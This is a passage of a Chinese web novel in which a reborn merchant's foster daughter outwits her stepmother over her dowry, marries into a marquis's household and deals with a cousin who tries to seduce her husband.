江元音忍着笑意,着急忙慌地起身劝阻:“是啊,阿父,撕毁书籍不能全怪正耀,怪我人微言轻,未能唤动他院中的人帮忙阻止,若我说话好使,这些书就保住了,都怪我,怪我……”
她可没忘记这些冷眼旁观的人呢。
一个都少不了。
江兴德自不可能把儿子打死,顺着江元音的话,环视逸轩院的下人,警示道:“你们通通杖责二十,罚两月月钱,若下回主子冲动犯错再不阻拦,便给我滚出江家!”
众人吓得扑通跪地:“小的错了,老爷开恩啊……”
满院求饶声里江兴德揪着江正耀的衣领将其重
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重往书堆里一扔,厉声道:“今日我不治治你,你不长记性,这些书你怎么撕碎的,就给我怎么拼补好,年前我要检查。”
摔坐在地上的江正耀不服气的抬手指着江元音质问江兴德:“那她呢?她难道就一点错没有,阿父不罚她?”
陈蓉不住给江正耀使眼色,示意其闭嘴,拉着江兴德的手臂,提议道:“这些书既是两孩子打闹毁坏,那便由两孩子一同拼补吧,这样最是公平。”
江元音道:“阿母想让我帮正耀拼补我自不会拒绝,可为何要说是为了公平而罚我呢?”
“操劳找书晒书是我,阻止正耀毁书是我,我却要受罚,敢问阿母,何来的公平?”
“你还敢顶嘴?”陈蓉扬声,“怪我近来疏于管教,才让你没了规矩,”她侧目吩咐李嬷,“去请家训家规!”
“是,夫人。”
江元音不急,只是眼带泪花回道:“阿母莫气,我晓得阿母不喜我,但请阿母放心,年后我就要出嫁,日后我再不会回江家,惹阿母心烦。”
此话再次精准扎在江兴德在意的点上,他还指着她攀附上侯门呢!
是以他怒斥正要开口的陈蓉:“你闭嘴,你已经养废一个孩子,还要把儿子养废吗?”
复而看向江元音,换上和蔼的笑脸,温声道:“此事你没有错,自不可能让你拼补撕毁的书,更不可能请家规罚你,你安心待嫁。”
陈蓉脸都快要气绿了。
老爷竟然为了江元音那个野种,当着一众奴仆的面呵斥她,扫她颜面,她还怎么当这江家主母?!
而下一瞬,江兴德再次出声,“解决”了陈蓉这一顾虑。
江兴德对她道:“正耀这般德行的确是你疏于管教了,从此刻开始便由元音来执掌中馈,你专心管教儿子!”
陈蓉万万没想到事情会是这个走向,如遭雷击怔在原地,反对的话卡在嗓子眼。
她原本只是想折腾折腾江元音,才让其去晒书,不成想,却给她做了嫁衣裳,让她揽下了中馈之责!
她捂着胸口,这回是真要昏倒了。
第13章 谢舅舅为元音添妆
江兴德的反应,全在江元音的意料之中。
前世她于他而言,最大的价值只是她襁褓中的那些黄金财物,所以任由她被陈蓉、江云裳、江正耀欺负,除了几句口头的维护,再没有具体的行动,也不会去泉郡救她。
这辈子不同了,她与他的权贵路息息相关。
他不可能让她与江家离心,自会护着她。
在江家,他是她最好的回击武器。
次日江元音顺利接过了中馈之责,出了昨日的事,府中奴仆对她态度转变不少,至少面上都是恭敬顺从的。
而陈蓉日日陪着关了禁闭的江正耀,将撕毁的书籍一一拼补好了,才允许自由活动。
江元音再见到江正耀,就是除夕夜了。
他似是被挫了锐气,终于不再一见着她就狂躁大喊,而是低垂着头,一言不发。
江兴德心情甚好,只觉得过了新年,他江家便不再是低人一等的商贾了。
一家人落了坐,他举杯夸赞江元音将江家布置张罗得甚好,又看向江正耀道:“你母亲说你已反省成长了,怎地没听见你同你阿姐道歉?”
江正耀拳头紧握,半响才憋出一句:“……对不起。”
“对不起谁?”江兴德不满意。
江正耀浑身紧绷,连眉毛都在用劲,嘴唇张张合合,就是唤不出一句“阿姐”。
陈蓉悬着一颗心,目光不住在父子间来回,就怕两人再闹不愉快。
江元音神色淡然的静候,等到紧张的氛围到了临界点,方才温声开口道:“没关系。”
这声“阿姐”他想唤,她还不想答应呢。
陈蓉松了口气,忙笑道:“这就对了,姐弟间小打小闹很正常,总归是一家人,不要生了嫌隙。”
江兴德认可道:“年**了京,你们要互相扶持,彼此照料。”
江元音温顺颔首:“元音明白,阿父阿母放心。”
江正耀不屑地撇了撇嘴。
……真会装,谁稀罕?
转眼,便是大年初三,各亲戚来登门拜年了。
江兴德父母早逝,他是长子,还有四个兄弟姐妹,就属他发展最好,亲戚都仰仗着他,每到过年必定拖家带口来江家拜年。
陈蓉娘家那边的情况亦差不多,是以,刚过巳时,江府已是一派热闹景象。
往年这般时候,江元音是毫无存在感的。
长辈男丁一般围在江兴德身边,女眷们或和陈蓉、江云裳聚在一块,或带着自己的孩子陪江正耀玩耍,没人多看江元音一眼。
而今年,女眷们全都围着她,言语间全是她要嫁入侯府的艳羡,指着她日后能拉拔他们一把。
江元音噙着浅淡的笑左耳进右耳出的应付着,目光微不可察地落在远处被冷落而不甘心的陈蓉身上。
陈蓉正在和其弟陈贵平交谈,看那神情可不似是在拉家常的样子。
没多久陈蓉便领着陈贵平从偏门去了后院,她觉得有些古怪,便低声嘱咐雪燕跟过去瞧瞧。
约莫过了一刻钟,两人便返回厅内。
陈贵平手中多了个红木匣子,眉眼飞扬,全是笑意。
雪燕随之回来,附在江元音耳畔,禀告一番。
江元音听着,望向那红木匣子,眼里多了抹笑意。
不甘被冷落的陈蓉主动迈步走了过来,听到小姑子正在提醒江元音,当新妇要注意什么,她笑了声,道:“这些你们无须操心,明日来教新妇礼仪的嬷嬷便会登门,这官妇可不比我们寻常人妇,要注意的礼节多了去了,何况还是侯府这样的高门。”
“阿母费心了,”江元音故作怅惘地开口:“元音自知高价,只怕侯府这样的高门瞧不上元音,元音怎么做都会是错……”
“侯府是名门权贵,咱江家也是江南首富,大哥定会备下丰厚的嫁妆,给足你底气!”小姑子安慰了江元音,冲不远处正和其余兄长交谈的江兴德道:“大哥可为元音备了十里红妆?”
在众人殷切的注视下,江兴德点头:“那是自然。”
大姑顺势表态,给江元音递来一个小匣子,笑眯眯道:“这是大姑的一点心意,为你添妆。”
其余人亦纷纷拿出自己备好的首饰珠宝递过去。
“这是小姑精挑细选的。”
“这是我和你三叔的一点心意。”
他们本就仰仗江兴德,如今知江元音要高嫁,便想趁着给新妇添嫁妆这一婚俗来拉拉好感。
不一会,雪燕双手便抱了个满满当当。
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江元音一一福身道谢,最后朝几步外的陈贵平福身,稍稍扬声道:“谢舅舅为元音添妆。”
陈贵平一愣。
他和姐姐陈蓉关系亲近,从小亦只疼江云裳、江正耀,在他看来,若不是江云裳出事了,这侯府夫人哪轮得到江元音?她纯粹是命好捡了漏,他压根没打算给她添妆。
大家顺着江元音的视线,纷纷看向他手中的红木匣子。
那匣子可比之前众人送的都要大。
大姑要笑不笑的调侃道:“还是舅舅会疼外甥女,竟为元音准备了这么大份嫁妆!”
小姑子看热闹不嫌事大的跟着起哄:“不妨打开让我们开开眼?”
在大家的起哄声里,江兴德亦投来好奇的目光。
他要嫁女,亲戚所添嫁妆全是诚意的体现。
江元音淡笑望着,故作期盼的模样。
她知道这木匣子里装的是她的嫁妆,不过是江兴德打算备给她的嫁妆。
陈蓉先前把陈贵平领到后院厢房,同他埋怨了一通,说是江兴德为了面子,为了江元音不被侯府看低,日后能说上话,非让她掏出珍藏的珠宝来陪嫁。
她一股脑塞给了陈贵平,让其带回家送给家里的老母亲保管。
陈贵平后背冒汗,不住瞟陈蓉求助。
眼看着陈蓉要开口为陈贵平解围,江元音抢先失落道:“原来舅舅没打算给元音添妆,是元音误会唐突了,还望舅舅不要见怪。”
这话一出,不仅有亲戚嗤笑出声,主位的江兴德瞬间黑了脸。
陈贵平面色涨得通红,高压下不得不双手供上红木匣子,“哪的话,娘亲舅大,我这个舅舅当然会为你添妆。”
“元音谢过舅舅,”江元音亲自过去接过,“既然大姑小姑感兴趣,舅舅不介意我打开给姑姑们瞧瞧吧?”
她边说边打开了匣子,随手取了个簪子举起来,讶然道:“诶。这簪子好生眼熟,好似阿母也有一支,”又取了一支,“这项链阿母也有,这玉如意也是……舅舅和阿母果然姐弟同心,连眼光都一样。”
众人这才回过味来,意味深长地望向陈蓉。
大过年的,是要掏空夫家救济娘家啊?
主位上,江兴德的脸黑透了。
第14章 你快看看这是谁
有亲戚们在,江兴德不好发作,但整个家宴,都没给过陈蓉好脸色。
陈蓉自知理亏,闹起来自己讨不着好又会失了颜面,忍气吞声过了一日,只在亲戚们要离府时,差心腹李嬷去给陈贵平传了个话。
当晚,江兴德特意唤江元音去屋内谈话,开门见山递给她一份卷轴,“这是我和你阿母为你挑选的嫁妆,你看看可还满意?”
江元音一目十行的看下来,经过白天众亲戚的添妆与起哄,江兴德给她备的这份嫁妆的确厚重,诚意十足。
但还差了她最想要的。
她收好卷轴,眸光闪烁地开口:“阿父阿母,这太多太贵重了,待正耀当了太子陪读,日后需要打点花钱的地方肯定多,你们应当为正耀、为自己多留些。”
她从袖中抽出备好的纸张递过去,温声道:“元音有这些嫁妆,加上今日姑姑、叔父、舅舅们的添妆就足够了。”
江元音已摸清楚了江家的家底,纸张上罗列的是十二间分布在江南各城的药铺。
江家的主业是茶楼酒肆,名下不乏脂粉衣裳、器皿等铺子,而药铺是不过是江家众多产业中最末端且不受重视的一类。
可她知道,李承烨夺位后,接连挑衅邻国,届时战乱不断,疫情四起,江家在江南这十来间药铺一跃成了香饽饽。
而现下药铺营收平平,于江家的产业而言,无足轻重,她开口要,江兴德不会不给。
果然,江兴德扫完单子,又听她刚那般为江家着想的说辞,更觉得她不要茶楼酒肆,只要几间烂铺子是乖巧懂事,很是动容欣慰道:“你有这份心,为父就心满意足了,你既相中了这几间药铺,一并加入嫁妆里便是。”
江元音一副受宠若惊地眨眨眼,惊叹道:“阿父……这会不会太多了?”
说着小心翼翼去看一旁脸色难看的陈蓉,只差把“阿母会不高兴的”写在脸上了。
江兴德扫了陈蓉一眼,重声道:“不多,你嫁的是定宁侯,嫁妆可不能含糊,”他顿了顿,沉声道:“为父定让你风风光光地出嫁,日后你在侯府站稳脚跟,可别忘了娘家人才是。”
江元音低眼:“元音谨遵阿父教诲。”
她又对陈蓉道:“阿母说明日会有嬷嬷上门来教我新妇的礼仪,从明日起大抵要辛苦阿母继续操持家务了。”
陈蓉有些愣怔,她原本盘算着等谈妥嫁妆的事,便要拿回这中馈之责,还旁敲侧击同江兴德埋怨了几回,没想到江元音竟主动交还了?
江元音不按常理出牌,倒让她有些无措了。
江兴德再看陈蓉,满目责备,无声道:你看看你,多小气没格局。
目的是达到了,却让江兴德对江元音更满意,陈蓉好似吃了黄连,笑得实在难看,“不辛苦,原本这事也不该交予你这个女儿来做,侯府迎亲的人初八会到,接下来你便安心待嫁。”
江元音知道陈蓉请的嬷嬷,不会是教她新妇礼仪这般简单,但她今晚这番话,加上白日陈贵平的事,一会陈蓉怕也不会好过。
她已拿到她想要的十二间药铺,福身告退,留给江兴德发挥。
第二天。
如江元音所料,这礼仪嬷嬷就是来找她事的。
可惜她早不是前世战战兢兢,想讨家人欢心,生怕自己做得不好,让家人失望而勉强自己的江元音了。
更何况托李承烨那个疯子的福,这些伎俩对她而言不痛不痒。
江元音对嬷嬷提出的每个近乎苛求的要求,没有任何质疑,全部温顺乖巧的应下,然后……一个也不做。
有时候“示弱装傻”亦是好用的武器,何况言语上示弱,不过是动动嘴皮。
嬷嬷挑刺时,她眼里蒙着一
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层水雾,自责伤心道:“我太笨了,为何我总是做不好?我真是太笨了。”
嬷嬷提出折腾人的礼仪规矩时,她认真地说:“我不理解,嬷嬷可以示范一遍?”
“没看懂,嬷嬷能再来一遍吗?”
“我真真愚笨,辛苦嬷嬷再来一遍。”
“请嬷嬷再来一遍。”
嬷嬷累得直喘气,气到内伤。
四天下来,嬷嬷肉眼可见的憔悴了一圈。
初七那日,江家张灯结彩,处处贴着喜字。
明日便是定宁侯府来迎亲的日子了。
巳时一刻,陈蓉差人来唤江元音去梧桐院。
这几日江元音都在安心待嫁,几乎没迈出月影院一步。
她知道陈蓉不会无缘无故唤她,不过她折腾了礼仪嬷嬷四日正觉得无聊,便去瞧瞧在她出嫁前一日,陈蓉还想做什么妖。
到了梧桐院,见到的不止是陈蓉,还有江兴德。
那看来不止是陈蓉要找事了。
江元音静观其变地俯身行礼:“阿父,阿母。”
江兴德应了声放下手中茶盏,“明日你便要出阁嫁人,在家从夫,出嫁从夫,要恪守女德、妇德,莫要给人留下话柄,说我江家教女无方。”
江元音漫不经心地回:“元音明白。”
“此番出嫁入京,路途遥远,你未出过远门,要事事小心,不过有侯门迎亲护送,你也不用忧心害怕,待清点处理好了江南的家业,我与你母亲、耀儿会即刻入京,我们一家人很快会在汴京相聚。”
江兴德目光殷切,“你可要争气,让侯爷帮我们寻一处府邸,免得到时我们无处落脚。”
江元音温声回:“元音定会尽力而为。”
能不能做到就是另一回事了。
这时陈蓉拉了身侧的少女一把,笑吟吟问江元音:“元音,你快看看这是谁?”
第15章 新婚夜
江元音抬眼望去,看着这着粉裙的少女,挑眉试探唤道:“招娣表妹?”
没记错的话,这是陈贵平的女儿,惯会趋炎附势,对江云裳阿谀奉承,对她只有不屑地白眼。
“正是,”陈蓉笑容更深,“我记得你们幼时常在一起玩,想必感情不错。”
陈招娣看着江元音笑,眉目里都是得意,“元音阿姐,好久不见。”
“嗯呢,”江元音也笑,明知故问道:“初三那日你怎地没同舅舅、表弟一道来拜年呢?”
陈贵平最是重男轻女,家宴难得会带上陈招娣。
陈招娣藏不住情绪,立马挂了脸,撒娇扯了扯陈蓉的手。
江元音是真的想笑。
不过是站着陈蓉身边,她还自动代入江云裳的身份了?
“今日不过初七,也不迟,”陈蓉道:“元音啊,我同你父亲思前想后,还是觉得你性子过于木讷含蓄了,怕是难得侯爷欢心,便选了招娣与你陪嫁,你们是表亲,在侯府能互相照应,她若能被抬为妾,也好过侯爷向着其他女人。”
江元音恍然,原来陈蓉打的是这个算盘。
她温声应下:“阿父阿母思虑周全,元音全听阿父阿母做主。”
她都能猜想到陈蓉是如何劝江兴德的,定是说她讨不了男人欢心,又不是他们的孩子,更怕她嫁入侯门后忘本,不受掌控,而陈招娣嘴甜,有血缘关系,能盯梢她。
他们算盘打得响亮,她一个都不会拒绝。
她只会让他们满怀期望,再一个个落空。
这时有家丁过来传话:“老爷,定宁侯那边来人了!”
江兴德激动起身,欣喜若狂甩袖迈步,“迎亲队伍竟提前一日到了,可见侯府对我江家的重视,我这就……”
“老爷不必动身!”家丁唤住江兴德,“不是迎亲队伍,就来了一人,留了口信便走了。”
江兴德笑容僵住:“什么口信?”
家丁欲言又止:“……盼大小姐一路平安,侯府的人会在汴京城门口相迎。”
江兴德回过味来,只觉得脸上挨了一记响亮的巴掌。
这哪有重视?
分明是轻视到不将江家放在眼里!
“在汴京迎亲?不派人来护送?”陈蓉亦激动起身,走至江兴德身边,抱怨道:“侯府怎能如此轻待江家?这一路的嫁妆要是被盯上……”
江兴德多日的好心情荡然无存,烦闷挥袖制止陈蓉,“自古权贵世家从未看得起商贾,待我儿……”他咬牙切齿,终是止住了,吩咐家丁道:“即刻备车,我要出府。”
江兴德急匆匆的走了,陈蓉侧目看着没甚反应的江元音,越发气不顺。
真是个榆木脑袋,竟半点不着急!
别死在入京路上,白白丢了那十里红妆!
江元音当然不急,江兴德要实现他的阶层跨越,自会想办法解决,何况前世江云裳稳稳当当嫁入了侯府,她这一路当顺利平安。
江兴德的确如她所想,奔波了一日,雇了三城的镖师,护送她出嫁入京。
初八早晨,她场面地拜别了父母,毫不留恋的离开了这个前世拼命想回却回不了的家。
江元音被搀扶着上了马车,看着一旁眼眶泛红的雪燕,一派轻松淡然地开口:“莫哭,雪燕,今天是我离家的好日子,你该笑才是。”
主仆俩早就交了心,她不避讳和她吐露真言。
“小姐在江家受的委屈,雪燕都看在眼里,小姐离了家,雪燕也为小姐高兴,只是……”雪燕担忧道,“侯府连迎亲护送都不安排,雪燕怕小姐嫁过去也受委屈,还有那个眼睛长在脑袋上的表小姐……”
一说到这个她就来气,“夫人只差明说让表小姐替你嫁入侯府了,夫人当真过分!”
江元音轻笑:“那得看陈招娣有没有那个本事了。”
陈招娣若还似从前那般踩在她头上,那她便在侯府给她算算陈年旧账。
然雪燕说的没错,定宁侯府的确没打算让江元音过好日子,不安排迎亲护送队不过是个开始。
经过一个半月才平安抵达汴京,侯府就派来了一个领路人,慢悠悠将他们领到了侯府偏门,把江元音晾在花轿里,一直等侯府家丁清算了嫁妆,足足一个时辰,才“迎”新妇进门。
待进了侯府更是夸张,整个府邸没半分喜庆的布置,连点红色都瞅不见,别说宴请宾客,连招呼的奴仆都没几个。
最最离谱的是,定宁侯齐司延连拜堂都不出现。
高堂上坐着的是齐司延的二叔、二叔母。
二叔道:“我乃司延二叔,司延父母身故,今日便由我和他二叔母
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坐这高堂。”
二叔母冷淡道:“司延身子不适,无法与你行礼,你且拜着,莫误了吉时。”
盖头下江元音一脸无所谓,抢在雪燕按捺不住为她鸣不平前,恭顺应道:“是,侄媳明白。”
江元音独自行完礼便被送到了新房。
这一晾又是一个时辰。
雪燕急得不住踱步张望,陈招娣没甚规矩地坐在软榻上,挖苦道:“元音阿姐,我看侯爷今夜不会来了,新婚夜没和夫君圆房,阿姐明日一定会被嘲笑,日后在侯府怕是不好过哦。”
雪燕不平:“表小姐说这般风凉话未免太没良心!”
话音一落,门口响起了家丁的声音:“侯爷今夜要泡药浴,夫人不必等了,早些歇息吧。”
陈招娣眉飞色舞,得意地笑了,“看吧,我说的是实话,可不是风凉话。”
雪燕气急,正欲与之争论一番,这时端坐婚床上的江元音倏地自己掀开了盖头,侧目冷冷瞟了陈招娣一眼,“我日子不好过,你就能好过了?”
江元音在众人记忆里一直是温吞好欺负的模样,陈招娣对她的冷脸不以为然,嘲讽道:“人侯府根本没瞧上你,不知道你在这端得什么架子,姑母说得对,你是个榆木脑袋,根本不懂得侍候男人,讨男人欢心。”
“你会?”江元音挑眉,“你一个未出阁的女子,倒是一副勾栏做派,把会侍候男人当做殊荣?”
陈招娣气得弹起了身子。
江元音又轻飘飘地补充道:“我阿母让你陪嫁侯府,不是把你卖到青楼。”
陈招娣快要气疯了,血气上涌根本想不到回击的词,好半天才放下一句狠话:“我看你能得意几时,你日后可别哭着求我帮你!”
正妻有什么了不起?
就如她阿母,在陈家过得哪有那生了儿子的姨娘舒坦?
待她爬上侯爷的床,生个一儿半女,定不让江元音好过!
陈招娣冲了出去,江元音唤住要去阻拦的雪燕,“管她作甚,我们吃我们的。”
“不管她……啊,吃?吃什么?”
江元音边拆头上的凤冠边瞟向桌子上摆放的点心,“折腾一日,饿**。”
等填饱了肚子,她方才起身,道:“走,去关心关心我那新婚夜身体不适要泡药浴的夫君。”
第16章 求侯爷疼我……
齐司延身有顽疾,侯府一直备有药浴池。
江元音走到药浴池时,正门是虚掩着的,静谧的夜里,屋内的动静依稀可闻。
暧昧的娇吟声传来——
“求侯爷疼我……”
这是陈招娣的声音。
雪燕气不过,伸手去推门,**元音及时伸手拦住,冲她摇头,阻止她那到了喉咙口的骂词。
但门已经被推开了大半,屋内被热水烘高的暖气迎面,景致亦落入眼帘。
齐司延大半身子没入嵌入式的大药浴池,露出来的脑袋肩膀也被跪俯在池旁的陈招娣挡了大半。
江元音看不到他的脸,只看到陈招娣已褪去了外衣,娇媚贴靠着他的脖颈,两人姿态亲热暧昧。
陈招娣似是听到动静回首,一副受惊模样,惊呼唤道:“表姐……”
可她神色里,是明晃晃的得意与挑衅。
江元音心底冷笑,抬眼望向齐司延。
在她的角度,加上氤氲的水汽,他侧脸模糊,叫她瞧不真切,她温声关心问道:“夫君可好些了?”
齐司延置若罔闻。
陈招娣越发得意,柔若无骨地伸手环绕住他的脖子,冲江元音道:“表姐放心,我会侍候好侯爷的。”
她等着她露出妒妇的嘴脸,惹侯爷生厌,或是哭哭啼啼的怨妇模样,让侯爷生烦。
可江元音只是静默望着齐司延,半晌不见其反应后,示意雪燕合上门,转身离开。
陈招娣短暂的愕然,随即一脸轻蔑鄙夷。
江元音果然和从前一样,是个只会受气的包子,自己再怎么挑衅踩在她头上,她连个屁也不敢放,只敢跑回房里哭。
今夜过后,自己成了侯爷的女人,看她这个徒有虚名的侯府夫人能过什么好日子!
陈招娣满眼胜券在握的得意,一双手得寸进尺地沿着齐司延的胸膛往下,凑近他耳畔,娇声道:“我表姐是个木讷不解风情的,日后就由我来……啊——”
一声惨叫,她猛地被人自身后拎起来,如同砸杯盏一般狠狠摔在一旁。
陈招娣眼冒金星,身子好似散了架,疼得直抽气,一抬头,只看到一个不知何处何时冒出来的黑衣男人。
他是齐司延的贴身侍卫——曲休。
曲休厉声喝道:“大胆,竟敢妨碍侯爷药浴!”
陈招娣吓懵了,连连摇头,“不是的……我是来侍候侯爷的……”
曲休不听她解释,拔剑逼近,杀气迫人。
陈招娣哪见过这种阵仗,吓得浑身发抖,望向药浴池里的齐司延,颤声求助:“侯爷救我……”
可齐司延聋了一般,木头似的无动于衷。
陈招娣终于意识到了不对劲。
从她进屋后的蓄意勾引,到**元音撞破,不见他有任何的反应。
他像是魂不附体一般,只剩一具不言不动的空壳。
“侯爷……”陈招娣不死心地往齐司延的方向爬,“侯爷看看我……”
“啊——!”
又是一声惨叫,曲休一剑直接刺穿了她刚触碰过齐司延的手,将她的手掌钉在地板上,“侯爷面前,岂容你放肆!”
陈招娣惨叫不止,直至被人拖下去,再没说出半个完整字词。
地上的血迹被清理,屋内重归宁静,曲休上前俯身,恭敬询问:“侯爷,可还按计划行事?”
他按侯爷吩咐的,在梁上看戏良久,可夫人并未大闹药浴池,原本计划好的戏码,似乎接不下去。
一片水雾中,齐司延原本涣散的眼眸聚了焦,他薄唇张了张,声线清冷,道:“去查查江家到底有几个女儿。”
他脑海中闪过刚刚粗略一瞥,没能看清楚分明的脸,墨色的眼底浮着一层冷意。
江家
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不是只有一女么?
……她竟不是江云裳。
“是,”曲休应声,又问:“那夫人表妹如何处置?”
“查清楚前,留她一命。”
“是,侯爷。”
另一边,江元音一路淡然回到新房。
雪燕关上房门,再也按捺不住,骂道:“表小姐真是不做人,今晚可是小姐的新婚夜,她竟敢去爬侯爷的床,半点没将小姐放在眼里!”
江元音满不在乎,兀自在铜镜前坐定,抬手取头上的珠钗,“过场也走过了,我们可以安心睡觉了。”
齐司延先前让人传话,便是摆明了今晚不会和她圆房,她去药浴池一趟,不过是不想落人话柄做做戏,顺便看看陈招娣有没有在她三言两语的刺激下,去做蠢事。
果然,一切如她所料。
只是齐司延的态度倒出乎她意料。
她今日所受怠慢轻视,无非是因为他瞧不上江家,那更不可能看得上陈招娣才是。
刚刚在药浴池,他竟没推开陈招娣。
难道是故意羞辱她?
“小姐怎么睡得着!”雪燕急的不行,“小姐若是这般任由表小姐胡来,她日后定要骑到你头上作威作福!万不可就这样算了啊!”
江元音冲铜镜中的雪燕安抚一笑:“莫急,我自有盘算。”
“小姐有主意了?”
江元音轻“嗯”了声,一个半月的颠簸加上一日的折腾,她疲乏得很,更何况其中曲折三言两语同雪燕解释不清,是以她打了个哈欠,开口道:“今夜且先休息,明日我再同你细说。”
见雪燕还要问,她又道:“放心,陈招娣掀不起多大风浪,我心中有数,你等着看戏便好。”
至于到底要唱哪一出戏,就得看齐司延到底瞧没瞧上陈招娣了。
左右她都备好了应对的法子,只等着见招拆招。
第17章 杀鸡儆猴
次日,二叔母陆氏派来领新人去敬茶请安的嬷嬷到了,也不见齐司延露面。
嬷嬷半点不惊讶,道:“既然侯爷身子不适,夫人便独自随我去敬茶请安吧。”
江元音颔首应了。
嬷嬷一路将她领至齐司延二叔父齐文台和二叔母陆氏居住的静怡轩。
二人端坐正厅主位,眸带审视望着江元音走近。
江元音福身,“侄媳给二叔父、二叔母请安。”
她从嬷嬷手中依次接过茶盏递过去,齐文台没有多话接了,陆氏却迟迟没有伸手。
陆氏端着架子,开口道:“要不是圣上赐婚,你怕是此生都入不了汴京一回,更不可能与我定宁侯府扯上干系,但你既成了我侯府新妇,有些话我需得说在前头。”
江元音早从昨日的怠慢推测到会有此刻的刁难,她毫不意外地低眉垂眼,一派温顺地回:“侄媳洗耳恭听。”
在摸清楚侯府门道前,她不会轻举妄动,自不会在意动动嘴皮的顺从。
“兄嫂早逝,司延身子羸弱,侯府由我执掌中馈,万事有**持,日后你只需要尽心尽力照料好司延,为侯府开枝散叶就好。”
这话明里暗里都是让江元音以后不要插手侯府的事务,她听着,心中已然有数。
定宁侯府当家做主的不是齐司延,而是他二叔一家,所以陆氏才能装腔作势地说教她。
那齐司延到底是和二叔父一家感情甚笃,还是病入膏肓管不了事了?
江元音淡声回道:“侄媳明白。”
陆氏又道:“侯府门第高规矩多,不是你江家那种商贾之家能比的,你可别把小门小户的习惯给带到侯府来,传出去丢的是我侯府的脸面。”
江元音高举着茶盏,遮住满眸的情绪,“是,侄媳定谨言慎行。”
小门小户?
权贵高门自视甚高,却不知钱财乃一切根本,否则圣上也不需要赐婚、封江正耀为太子陪读,来让江家充盈国库了。
陆氏仍没有要接茶盏的意思,任由她这么举着,冷哼了一声道:“‘谨言’我姑且不论,但你昨夜纵容丫鬟去干扰司延药浴,算哪门子的‘慎行’?”
闻言,江元音了然。
铺垫了这么多,终于到了今日的重头戏。
想来昨日陈招娣爬床失败了,陆氏想立主母的威风,借着这个由头来向她发难了。
“侄媳无意干扰侯爷药浴,只是……”江元音故作欲言又止地停顿了片刻,道出早备好的说辞,“是侄媳治下不严,愧对圣上赐婚,请二叔母责罚。”
她提了“圣上赐婚”四个字,是提醒陆氏不管侯府怎么瞧不上江家,都得适可而止,不然便是没将圣上放在眼里。
果然一旁沉默良久的齐文台出声了,“好了,下人不懂规矩惩治下人即可。”
陆氏正要反驳,他冲她使了个眼色,又道:“茶凉了,先喝茶吧。”
江元音将茶盏往前递了递,然而陆氏只是扫了一眼,没好气道:“天冷,我不喝凉茶。”
江元音顺势将举了良久的茶盏递给一旁的嬷嬷,“劳烦嬷嬷再换杯热茶。”
“不必了,”陆氏将话题绕回来,“念你初入侯府,我便不计较你昨夜治下不严、处理不当的事,但你那陪嫁丫鬟干扰侯爷药浴,死罪可免活罪难逃,便杖责二十,贬为粗使丫鬟。”
江元音俯身垂首,求情道:“二叔母有所不知道,招娣不是一般的陪嫁丫鬟,她是我舅舅的爱女,与我一同长大的表妹,还望二叔母开恩,免她杖责,留她在我院中侍候。”
她将头垂得更低,一派谨小慎微的模样,“侄媳……感激不尽。”
陆氏只觉今日树威的目的已经达到,眼底满是轻蔑,高高在上地发言:“那便看在你的面上,饶她这回,在柴房关上两日,好生反省后再回你院中侍候,若有下回,定不轻饶。”
“谢二叔母,侄媳定严加管教,不会再犯。”
待请安结束,回到院里,雪燕一关上厢房的门,便不解问道:“小姐为何要替表小姐求情?杖责二十是她活该,贬为粗使丫鬟岂不正好,为何要留她在院
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里侍候?”
江元音不答反问:“你觉得二叔母可满意我这个侄媳?”
雪燕不敢欺瞒,又怕说实话会让其伤心,一番纠结后摇了摇头,抱不平道:“这亲事是圣上定的,他们若是瞧不上商贾,先前何不去找圣上拒婚?侯府没胆子得罪圣上,就冲小姐撒气,好生不讲理,小姐当真无辜!”
“你以为换做其他高门贵女就能入二叔母的眼了?”江元音不卖关子,解释道:“她讨厌的并非是我,而是会威胁到她执掌中馈的‘侯府夫人’。”
她继续道:“我出身商贾入不了她眼,她觉得我威胁不到她位子,自不会忌惮我,又因为圣上赐婚,轻易不能动我,但一定会拿我身边的人开涮,让我惧怕恭顺她,例如陈招娣。”
“所以小姐是故意为表小姐求情的?”
江元音点头,“我越表现得同陈招娣感情要好,她要寻我麻烦时便会对陈招娣动手,想要杀鸡儆猴,”她掀了掀眼皮看向雪燕,“我不留下陈招娣,保不定你就是下一只**的鸡。”
她要收拾陈招娣,何须自己动手呢?
陆氏想杀鸡儆猴,她便顺势而为,借刀**。
左右她不过动动嘴皮子罢了,省心省力。
雪燕恍然,连声赞道:“小姐最是聪慧,什么都看得清楚明白!”随即又感动得红了眼眶,“小姐这般处境,还记挂关心着雪燕,雪燕真是命好,跟了小姐这样的主子……”
“莫哭,”江元音温声安抚,“今日要做的事还多着呢。”
“何事?”雪燕忙抬手擦泪凑近,“小姐尽管吩咐。”
江元音眸色深了几许,“先将家具、摆件类的大件嫁妆在院子里安置好,再从我的陪嫁里寻些金银首饰的小玩意备着,晚些随我去柴房看看陈招娣。”
她没想生事,只想安稳地度过一年半载,等齐司延**,回江南过她的悠哉人生。
可不生事不代表坐以待毙等着他人欺到她头上来,她得主动出击,摸清楚这侯府的情况,方知如何应对未知的刁难。
第18章 去会会她那又聋又瞎的废人夫君
安置大件嫁妆前,江元音面见了原本青松院的仆妇。
一共才六人,四个丫鬟两位嬷嬷,还不如她陪嫁的仆妇多。
毕竟江兴德生怕她嫁入侯府后站不稳脚跟,失了江家的颜面,在陪嫁上是毫不吝啬,铆足了劲的。
江元音坐在主位,一一扫过六人的脸,淡声确认道:“人都来齐了?”
为首的王嬷回道:“侯爷自幼身子底弱,需要静养,又不喜丫鬟嬷子侍候,所以院中的仆妇甚少,除了贴身侍候的侯爷的小厮随从外,人都是到齐了的。”
江元音表示了然地点点头,示意雪燕将翻找出来的金银首饰分发给六人,“一点见面礼,日后还望你们助我一同照顾好侯爷。”
丫鬟们喜悦溢于言表,两位嬷嬷却只是场面的笑笑,敷衍地回:“夫人哪的话?侍候侯爷本就是我们分内之事。”
江元音不着痕迹将她们的反应一一收入眼底,又问:“侯爷身子如今是个什么情况?可有哪些习惯喜好需我注意?”
有一握着珠钗的丫鬟正要张嘴,被王嬷瞪了一眼后惶恐住嘴。
王嬷笑道:“侯爷的身子我们哪敢妄议?侯爷又不许我们近身侍候,夫人不妨唤侯爷身边的小厮问问?”
江元音不恼怒不追问,好脾气的“嗯”了声后起身,“你们忙去吧,我去逛逛院子,熟悉熟悉。”
她面色平静地出了大厅,朝长廊走道迈了两步后折返,静默观戏。
王嬷和孙嬷粗暴将江元音刚送给丫鬟们的首饰通通掠夺,趾高气扬地呵斥道:“别跟没见过世面似的,被这三瓜两枣收买,就忘记自己真正的主子是谁,在这侯府,你们该听谁的当心中有数!”
